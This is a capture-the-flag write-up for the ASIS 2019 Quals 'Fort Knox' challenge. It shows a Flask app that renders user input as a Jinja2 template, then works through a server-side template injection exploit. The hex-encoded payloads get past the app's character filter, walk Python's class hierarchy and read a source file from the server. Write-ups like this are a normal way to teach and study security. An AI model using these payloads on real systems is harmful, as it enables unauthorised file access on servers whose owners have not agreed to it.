[Writeup] Asis 2019 Quals - Fort Knox









A hint in the HTML source -

<!--Source Code: /static/archive/Source -->

Source Code:

from flask import Flask, session
from flask_session import Session
from flask import request
from flask import render_template
from jinja2 import Template

import fort

Flask.secret_key = fort.SECKEY

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'filesystem'
app.config['TEMPLATES_AUTO_RELOAD'] = True
Session(app)

@app.route("/")
def main():
    return render_template("index.html")

@app.route("/ask", methods = ["POST"])
def ask():
    question = request.form["q"]
    for c in "._%":
        if c in question:
            return render_template("no.html", err = "no " + c)
    try:
        t = Template(question)
        t.globals = {}
        answer = t.render({
            "history": fort.history(),
            "credit": fort.credit(),
            "trustworthy": fort.trustworthy()
        })
    except:
        return render_template("no.html", err = "bad")
    return render_template("yes.html", answer = answer)

@app.route("/door/")
def door(door):
    if fort.trustworthy():
        return render_template("flag.html", flag = fort.FLAG)
    doorNum = 0
    if door is not None:
        doorNum = int(door)
    if doorNum > 0 and doorNum < 7:
        fort.visit(doorNum)
        return render_template("door.html", door = doorNum)
    return render_template("no.html", err = "Door not found!")


The website takes the POST parameter q and then renders it as template. We are looking at a SSTI problem.

Trying {{ 7*7 }} confirms SSTI





But _ . % were blocked so to access __class__ we need to bypass this filter

{{ "".__class__ }}

becomes

{{""["5F5F636C6173735F5F"["decode"]("hex")]}}

and the result

answer: <type 'str'>




{{ "".__class__.mro()[2].__subclass__()}}

becomes

{{""["5F5F636C6173735F5F"["decode"]("hex")]["mro"]()[2]["5F5F737562636C61737365735F5F"["decode"]("hex")]()}}

result











There is a file class loaded at [40]

Trying to read fort.py

{{ "".__class__.mro()[2].__subclass__()[40]("fort.py").read()}}

becomes 

{{""["5F5F636C6173735F5F"["decode"]("hex")]["mro"]()[2]["5F5F737562636C61737365735F5F"["decode"]("hex")]()[40]("666F72742E7079"["decode"]("hex"))["read"]()}}




Comments